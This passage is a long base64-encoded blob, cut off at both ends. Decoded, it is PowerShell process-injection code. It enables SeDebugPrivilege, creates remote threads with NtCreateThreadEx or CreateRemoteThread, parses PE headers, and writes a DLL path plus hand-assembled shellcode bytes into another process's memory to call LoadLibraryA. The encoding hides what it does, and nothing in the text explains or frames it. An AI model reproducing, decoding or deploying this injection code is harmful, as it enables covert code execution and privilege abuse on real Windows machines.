dGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFudHMuVE9LRU5fQURKVVNUX1BSSVZJ TEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pCgkJaWYgKCRSZXN1bHQgLWVxICRmYWxz ZSkKCQl7CgkJCSRFcnJvckNvZGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1h cnNoYWxdOjpHZXRMYXN0V2luMzJFcnJvcigpCgkJCWlmICgkRXJyb3JDb2RlIC1lcSAkV2luMzJD b25zdGFudHMuRVJST1JfTk9fVE9LRU4pCgkJCXsKCQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlv bnMuSW1wZXJzb25hdGVTZWxmLkludm9rZSgzKQoJCQkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkK CQkJCXsKCQkJCQlUaHJvdyAiVW5hYmxlIHRvIGltcGVyc29uYXRlIHNlbGYiCgkJCQl9CgkJCQkK CQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhy ZWFkSGFuZGxlLCAkV2luMzJDb25zdGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFu dHMuVE9LRU5fQURKVVNUX1BSSVZJTEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pCgkJ CQlpZiAoJFJlc3VsdCAtZXEgJGZhbHNlKQoJCQkJewoJCQkJCVRocm93ICJVbmFibGUgdG8gT3Bl blRocmVhZFRva2VuLiIKCQkJCX0KCQkJfQoJCQllbHNlCgkJCXsKCQkJCVRocm93ICJVbmFibGUg dG8gT3BlblRocmVhZFRva2VuLiBFcnJvciBjb2RlOiAkRXJyb3JDb2RlIgoJCQl9CgkJfQoJCQoJ CVtJbnRQdHJdJFBMdWlkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFs XTo6QWxsb2NIR2xvYmFsKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06 OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5MVUlEKSkKCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rp b25zLkxvb2t1cFByaXZpbGVnZVZhbHVlLkludm9rZSgkbnVsbCwgIlNlRGVidWdQcml2aWxlZ2Ui LCAkUEx1aWQpCgkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkKCQl7CgkJCVRocm93ICJVbmFibGUg dG8gY2FsbCBMb29rdXBQcml2aWxlZ2VWYWx1ZSIKCQl9CgoJCVtVSW50MzJdJFRva2VuUHJpdlNp emUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5 cGVdJFdpbjMyVHlwZXMuVE9LRU5fUFJJVklMRUdFUykKCQlbSW50UHRyXSRUb2tlblByaXZpbGVn ZXNNZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hH bG9iYWwoJFRva2VuUHJpdlNpemUpCgkJJFRva2VuUHJpdmlsZWdlcyA9IFtTeXN0ZW0uUnVudGlt ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRUb2tlblByaXZpbGVn ZXNNZW0sIFtUeXBlXSRXaW4zMlR5cGVzLlRPS0VOX1BSSVZJTEVHRVMpCgkJJFRva2VuUHJpdmls ZWdlcy5Qcml2aWxlZ2VDb3VudCA9IDEKCQkkVG9rZW5Qcml2aWxlZ2VzLlByaXZpbGVnZXMuTHVp ZCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0 dXJlKCRQTHVpZCwgW1R5cGVdJFdpbjMyVHlwZXMuTFVJRCkKCQkkVG9rZW5Qcml2aWxlZ2VzLlBy aXZpbGVnZXMuQXR0cmlidXRlcyA9ICRXaW4zMkNvbnN0YW50cy5TRV9QUklWSUxFR0VfRU5BQkxF RAoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRv UHRyKCRUb2tlblByaXZpbGVnZXMsICRUb2tlblByaXZpbGVnZXNNZW0sICR0cnVlKQoKCQkkUmVz dWx0ID0gJFdpbjMyRnVuY3Rpb25zLkFkanVzdFRva2VuUHJpdmlsZWdlcy5JbnZva2UoJFRocmVh ZFRva2VuLCAkZmFsc2UsICRUb2tlblByaXZpbGVnZXNNZW0sICRUb2tlblByaXZTaXplLCBbSW50 UHRyXTo6WmVybywgW0ludFB0cl06Olplcm8pCgkJJEVycm9yQ29kZSA9IFtTeXN0ZW0uUnVudGlt ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldExhc3RXaW4zMkVycm9yKCkgI05lZWQgdGhp cyB0byBnZXQgc3VjY2VzcyB2YWx1ZSBvciBmYWlsdXJlIHZhbHVlCgkJaWYgKCgkUmVzdWx0IC1l cSAkZmFsc2UpIC1vciAoJEVycm9yQ29kZSAtbmUgMCkpCgkJewoKCQl9CgkJCgkJW1N5c3RlbS5S dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFRva2VuUHJpdmls ZWdlc01lbSkKCX0KCQoJCglGdW5jdGlvbiBJbnZva2UtQ3JlYXRlUmVtb3RlVGhyZWFkCgl7CgkJ UGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlb SW50UHRyXQoJCSRQcm9jZXNzSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBN YW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0ludFB0cl0KCQkkU3RhcnRBZGRyZXNzLAoJCQoJCVtQYXJh bWV0ZXIoUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJCVtJbnRQdHJdCgkJJGZ1 bmMxMjQgPSBbSW50UHRyXTo6WmVybywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gNCwgTWFu ZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkZ1bmN0aW9ucwoJCSkK CQkKCQlbSW50UHRyXSRSZW1vdGVUaHJlYWRIYW5kbGUgPSBbSW50UHRyXTo6WmVybwoJCQoJCSRP U1ZlcnNpb24gPSBbRW52aXJvbm1lbnRdOjpPU1ZlcnNpb24uVmVyc2lvbgoKCQlpZiAoKCRPU1Zl cnNpb24gLWdlIChOZXctT2JqZWN0ICdWZXJzaW9uJyA2LDApKSAtYW5kICgkT1NWZXJzaW9uIC1s dCAoTmV3LU9iamVjdCAnVmVyc2lvbicgNiwyKSkpCgkJewoJCQlXcml0ZS1WZXJib3NlICJXaW5k b3dzIFZpc3RhLzcgZGV0ZWN0ZWQsIHVzaW5nIE50Q3JlYXRlVGhyZWFkRXguIEFkZHJlc3Mgb2Yg dGhyZWFkOiAkU3RhcnRBZGRyZXNzIgoJCQkkUmV0VmFsPSAkV2luMzJGdW5jdGlvbnMuTnRDcmVh dGVUaHJlYWRFeC5JbnZva2UoW1JlZl0kUmVtb3RlVGhyZWFkSGFuZGxlLCAweDFGRkZGRiwgW0lu dFB0cl06Olplcm8sICRQcm9jZXNzSGFuZGxlLCAkU3RhcnRBZGRyZXNzLCAkZnVuYzEyNCwgJGZh bHNlLCAwLCAweGZmZmYsIDB4ZmZmZiwgW0ludFB0cl06Olplcm8pCgkJCSRMYXN0RXJyb3IgPSBb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXRMYXN0V2luMzJFcnJv cigpCgkJCWlmICgkUmVtb3RlVGhyZWFkSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJ CQkJVGhyb3cgIkVycm9yIGluIE50Q3JlYXRlVGhyZWFkRXguIFJldHVybiB2YWx1ZTogJFJldFZh bC4gTGFzdEVycm9yOiAkTGFzdEVycm9yIgoJCQl9CgkJfQoKCQllbHNlCgkJewoJCQlXcml0ZS1W ZXJib3NlICJXaW5kb3dzIFhQLzggZGV0ZWN0ZWQsIHVzaW5nIENyZWF0ZVJlbW90ZVRocmVhZC4g QWRkcmVzcyBvZiB0aHJlYWQ6ICRTdGFydEFkZHJlc3MiCgkJCSRSZW1vdGVUaHJlYWRIYW5kbGUg PSAkV2luMzJGdW5jdGlvbnMuQ3JlYXRlUmVtb3RlVGhyZWFkLkludm9rZSgkUHJvY2Vzc0hhbmRs ZSwgW0ludFB0cl06Olplcm8sIFtVSW50UHRyXVtVSW50NjRdMHhGRkZGLCAkU3RhcnRBZGRyZXNz LCAkZnVuYzEyNCwgMCwgW0ludFB0cl06Olplcm8pCgkJfQoJCQoJCWlmICgkUmVtb3RlVGhyZWFk SGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVdyaXRlLVZlcmJvc2UgIkVycm9yIGNy ZWF0aW5nIHJlbW90ZSB0aHJlYWQsIHRocmVhZCBoYW5kbGUgaXMgbnVsbCIKCQl9CgkJCgkJcmV0 dXJuICRSZW1vdGVUaHJlYWRIYW5kbGUKCX0KCgkKCglGdW5jdGlvbiBHZXQtSW1hZ2VOdEhlYWRl cnMKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRy dWUpXQoJCVtJbnRQdHJdCgkJJFBFSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAx LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyVHlwZXMKCQkp CgkJCgkJJE50SGVhZGVyc0luZm8gPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJJGRv c0hlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRv U3RydWN0dXJlKCRQRUhhbmRsZSwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRE9TX0hFQURFUikK CgoJCVtJbnRQdHJdJE50SGVhZGVyc1B0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2ln bmVkIChbSW50NjRdJFBFSGFuZGxlKSAoW0ludDY0XVtVSW50NjRdJGRvc0hlYWRlci5lX2xmYW5l dykpCgkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0 eSAtTmFtZSBOdEhlYWRlcnNQdHIgLVZhbHVlICROdEhlYWRlcnNQdHIKCQkkaW1hZ2VOdEhlYWRl cnM2NCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3Ry dWN0dXJlKCROdEhlYWRlcnNQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX05UX0hFQURFUlM2 NCkKCQkKCgkgICAgaWYgKCRpbWFnZU50SGVhZGVyczY0LlNpZ25hdHVyZSAtbmUgMHgwMDAwNDU1 MCkKCSAgICB7CgkgICAgICAgIHRocm93ICJJbnZhbGlkIElNQUdFX05UX0hFQURFUiBzaWduYXR1 cmUuIgoJICAgIH0KCQkKCQlpZiAoJGltYWdlTnRIZWFkZXJzNjQuT3B0aW9uYWxIZWFkZXIuTWFn aWMgLWVxICdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycpCgkJewoJCQkkTnRIZWFkZXJz SW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX05U X0hFQURFUlMgLVZhbHVlICRpbWFnZU50SGVhZGVyczY0CgkJCSROdEhlYWRlcnNJbmZvIHwgQWRk LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEU2NEJpdCAtVmFsdWUgJHRy dWUKCQl9CgkJZWxzZQoJCXsKCQkJJEltYWdlTnRIZWFkZXJzMzIgPSBbU3lzdGVtLlJ1bnRpbWUu SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkTnRIZWFkZXJzUHRyLCBb VHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFERVJTMzIpCgkJCSROdEhlYWRlcnNJbmZvIHwg QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVS UyAtVmFsdWUgJGltYWdlTnRIZWFkZXJzMzIKCQkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVy IC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAkZmFsc2UKCQl9 CgkJCgkJcmV0dXJuICROdEhlYWRlcnNJbmZvCgl9CgoKCglGdW5jdGlvbiBHZXQtUEVCYXNpY0lu Zm8KCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0 cnVlICldCgkJW0J5dGVbXV0KCQkkUEVCeXRlcywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0g MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMlR5cGVzCgkJ KQoJCQoJCSRQRUluZm8gPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJW0ludFB0cl0k VW5tYW5hZ2VkUEVCeXRlcyA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hh bF06OkFsbG9jSEdsb2JhbCgkUEVCeXRlcy5MZW5ndGgpCgkJW1N5c3RlbS5SdW50aW1lLkludGVy b3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkUEVCeXRlcywgMCwgJFVubWFuYWdlZFBFQnl0ZXMs ICRQRUJ5dGVzLkxlbmd0aCkgfCBPdXQtTnVsbAoJCQoKCQkkTnRIZWFkZXJzSW5mbyA9IEdldC1J bWFnZU50SGVhZGVycyAtUEVIYW5kbGUgJFVubWFuYWdlZFBFQnl0ZXMgLVdpbjMyVHlwZXMgJFdp bjMyVHlwZXMKCQkKCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3Bl cnR5IC1OYW1lICdQRTY0Qml0JyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLlBFNjRCaXQpCgkJJFBF SW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdPcmlnaW5h bEltYWdlQmFzZScgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlv bmFsSGVhZGVyLkltYWdlQmFzZSkKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO b3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdlJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklN QUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6ZU9mSW1hZ2UpCgkJJFBFSW5mbyB8IEFk ZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdTaXplT2ZIZWFkZXJzJyAt VmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6 ZU9mSGVhZGVycykKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVy dHkgLU5hbWUgJ0RsbENoYXJhY3RlcmlzdGljcycgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFH RV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkRsbENoYXJhY3RlcmlzdGljcykKCQkKCgkJW1N5 c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFVubWFu YWdlZFBFQnl0ZXMpCgkJCgkJcmV0dXJuICRQRUluZm8KCX0KCgoKCglGdW5jdGlvbiBHZXQtUEVE ZXRhaWxlZEluZm8KCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRh dG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRQRUhhbmRsZSwKCQkKCQlbUGFyYW1ldGVyKFBv c2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4z MlR5cGVzLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSld CgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyQ29uc3RhbnRzCgkJKQoJCQoJCWlmICgkUEVIYW5k bGUgLWVxICRudWxsIC1vciAkUEVIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJdGhy b3cgJ1BFSGFuZGxlIGlzIG51bGwgb3IgSW50UHRyLlplcm8nCgkJfQoJCQoJCSRQRUluZm8gPSBO ZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJJE50SGVhZGVyc0luZm8gPSBHZXQtSW1hZ2VO dEhlYWRlcnMgLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcwoJCQoK CQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEVI YW5kbGUgLVZhbHVlICRQRUhhbmRsZQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBl IE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9OVF9IRUFERVJTIC1WYWx1ZSAoJE50SGVhZGVyc0lu Zm8uSU1BR0VfTlRfSEVBREVSUykKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO b3RlUHJvcGVydHkgLU5hbWUgTnRIZWFkZXJzUHRyIC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uTnRI ZWFkZXJzUHRyKQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0 eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uUEU2NEJpdCkKCQkkUEVJbmZv IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdl JyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIu U2l6ZU9mSW1hZ2UpCgkJCgkJaWYgKCRQRUluZm8uUEU2NEJpdCAtZXEgJHRydWUpCgkJewoJCQlb SW50UHRyXSRTZWN0aW9uSGVhZGVyUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWdu ZWQgKFtJbnQ2NF0kUEVJbmZvLk50SGVhZGVyc1B0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w U2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFE RVJTNjQpKSkKCQkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5 IC1OYW1lIFNlY3Rpb25IZWFkZXJQdHIgLVZhbHVlICRTZWN0aW9uSGVhZGVyUHRyCgkJfQoJCWVs c2UKCQl7CgkJCVtJbnRQdHJdJFNlY3Rpb25IZWFkZXJQdHIgPSBbSW50UHRyXShBZGQtU2lnbmVk SW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uTnRIZWFkZXJzUHRyKSAoW1N5c3RlbS5SdW50 aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5cGVzLklN QUdFX05UX0hFQURFUlMzMikpKQoJCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO b3RlUHJvcGVydHkgLU5hbWUgU2VjdGlvbkhlYWRlclB0ciAtVmFsdWUgJFNlY3Rpb25IZWFkZXJQ dHIKCQl9CgkJCgkJaWYgKCgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLkZpbGVIZWFk ZXIuQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0RMTCkg LWVxICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0RMTCkKCQl7CgkJCSRQRUluZm8gfCBBZGQt TWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0RM TCcKCQl9CgkJZWxzZWlmICgoJE50SGVhZGVyc0luZm8uSU1BR0VfTlRfSEVBREVSUy5GaWxlSGVh ZGVyLkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfRklMRV9FWEVD VVRBQkxFX0lNQUdFKSAtZXEgJFdpbjMyQ29uc3RhbnRzLklNQUdFX0ZJTEVfRVhFQ1VUQUJMRV9J TUFHRSkKCQl7CgkJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0 eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0VYRScKCQl9CgkJZWxzZQoJCXsKCQkJVGhyb3cgIlBF IGZpbGUgaXMgbm90IGFuIEVYRSBvciBETEwiCgkJfQoJCQoJCXJldHVybiAkUEVJbmZvCgl9CgkK CQoJRnVuY3Rpb24gSW1wb3J0LURsbEluUmVtb3RlUHJvY2VzcwoJewoJCVBhcmFtKAoJCVtQYXJh bWV0ZXIoUG9zaXRpb249MCwgTWFuZGF0b3J5PSR0cnVlKV0KCQlbSW50UHRyXQoJCSRSZW1vdGVQ cm9jSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb249MSwgTWFuZGF0b3J5PSR0cnVlKV0K CQlbSW50UHRyXQoJCSRJbXBvcnREbGxQYXRoUHRyCgkJKQoJCQoJCSRQdHJTaXplID0gW1N5c3Rl bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJd KQoJCQoJCSRJbXBvcnREbGxQYXRoID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N YXJzaGFsXTo6UHRyVG9TdHJpbmdBbnNpKCRJbXBvcnREbGxQYXRoUHRyKQoJCSREbGxQYXRoU2l6 ZSA9IFtVSW50UHRyXVtVSW50NjRdKFtVSW50NjRdJEltcG9ydERsbFBhdGguTGVuZ3RoICsgMSkK CQkkUkltcG9ydERsbFBhdGhQdHIgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52 b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJERsbFBhdGhTaXplLCAkV2lu MzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwg JFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQoJCWlmICgkUkltcG9ydERsbFBhdGhQdHIg LWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1v cnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzIgoJCX0KCgkJW1VJbnRQdHJdJE51bUJ5dGVzV3JpdHRl biA9IFtVSW50UHRyXTo6WmVybwoJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLldyaXRlUHJv Y2Vzc01lbW9yeS5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSSW1wb3J0RGxsUGF0aFB0ciwg JEltcG9ydERsbFBhdGhQdHIsICREbGxQYXRoU2l6ZSwgW1JlZl0kTnVtQnl0ZXNXcml0dGVuKQoJ CQoJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0 ZSBETEwgcGF0aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiCgkJfQoJCWlmICgkRGxsUGF0aFNp emUgLW5lICROdW1CeXRlc1dyaXR0ZW4pCgkJewoJCQlUaHJvdyAiRGlkbid0IHdyaXRlIHRoZSBl eHBlY3RlZCBhbW91bnQgb2YgYnl0ZXMgd2hlbiB3cml0aW5nIGEgRExMIHBhdGggdG8gbG9hZCB0 byB0aGUgcmVtb3RlIHByb2Nlc3MiCgkJfQoJCQoJCSRLZXJuZWwzMkhhbmRsZSA9ICRXaW4zMkZ1 bmN0aW9ucy5HZXRNb2R1bGVIYW5kbGUuSW52b2tlKCJrZXJuZWwzMi5kbGwiKQoJCSRMb2FkTGli cmFyeUFBZGRyID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkS2VybmVs MzJIYW5kbGUsICJMb2FkTGlicmFyeUEiKSAjS2VybmVsMzIgbG9hZGVkIHRvIHRoZSBzYW1lIGFk ZHJlc3MgZm9yIGFsbCBwcm9jZXNzZXMKCQkKCQlbSW50UHRyXSREbGxBZGRyZXNzID0gW0ludFB0 cl06Olplcm8KCgoJCWlmICgkUEVJbmZvLlBFNjRCaXQgLWVxICR0cnVlKQoJCXsKCgkJCSRMb2Fk TGlicmFyeUFSZXRNZW0gPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRS ZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJERsbFBhdGhTaXplLCAkV2luMzJDb25z dGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMy Q29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQoJCQlpZiAoJExvYWRMaWJyYXJ5QVJldE1lbSAtZXEg W0ludFB0cl06Olplcm8pCgkJCXsKCQkJCVRocm93ICJVbmFibGUgdG8gYWxsb2NhdGUgbWVtb3J5 IGluIHRoZSByZW1vdGUgcHJvY2VzcyBmb3IgdGhlIHJldHVybiB2YWx1ZSBvZiBMb2FkTGlicmFy eUEiCgkJCX0KCQkJCgkJCQoKCQkJJExvYWRMaWJyYXJ5U0MxID0gQCgweDUzLCAweDQ4LCAweDg5 LCAweGUzLCAweDQ4LCAweDgzLCAweGVjLCAweDIwLCAweDY2LCAweDgzLCAweGU0LCAweGMwLCAw eDQ4LCAweGI5KQoJCQkkTG9hZExpYnJhcnlTQzIgPSBAKDB4NDgsIDB4YmEpCgkJCSRMb2FkTGli cmFyeVNDMyA9IEAoMHhmZiwgMHhkMiwgMHg0OCwgMHhiYSkKCQkJJExvYWRMaWJyYXJ5U0M0ID0g QCgweDQ4LCAweDg5LCAweDAyLCAweDQ4LCAweDg5LCAweGRjLCAweDViLCAweGMzKQoJCQkKCQkJ JFNDTGVuZ3RoID0gJExvYWRMaWJyYXJ5U0MxLkxlbmd0aCArICRMb2FkTGlicmFyeVNDMi5MZW5n dGggKyAkTG9hZExpYnJhcnlTQzMuTGVuZ3RoICsgJExvYWRMaWJyYXJ5U0M0Lkxlbmd0aCArICgk UHRyU2l6ZSAqIDMpCgkJCSRTQ1BTTWVtID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNl cy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRTQ0xlbmd0aCkKCQkJJFNDUFNNZW1PcmlnaW5hbCA9 ICRTQ1BTTWVtCgkJCQoJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkTG9hZExpYnJhcnlT QzEgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0KCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNV bnNpZ25lZCAkU0NQU01lbSAoJExvYWRMaWJyYXJ5U0MxLkxlbmd0aCkKCQkJW1N5c3RlbS5SdW50 aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJFJJbXBvcnREbGxQ YXRoUHRyLCAkU0NQU01lbSwgJGZhbHNlKQoJCQkkU0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vu c2lnbmVkICRTQ1BTTWVtICgkUHRyU2l6ZSkKCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMg JExvYWRMaWJyYXJ5U0MyIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJCSRTQ1BTTWVtID0gQWRk 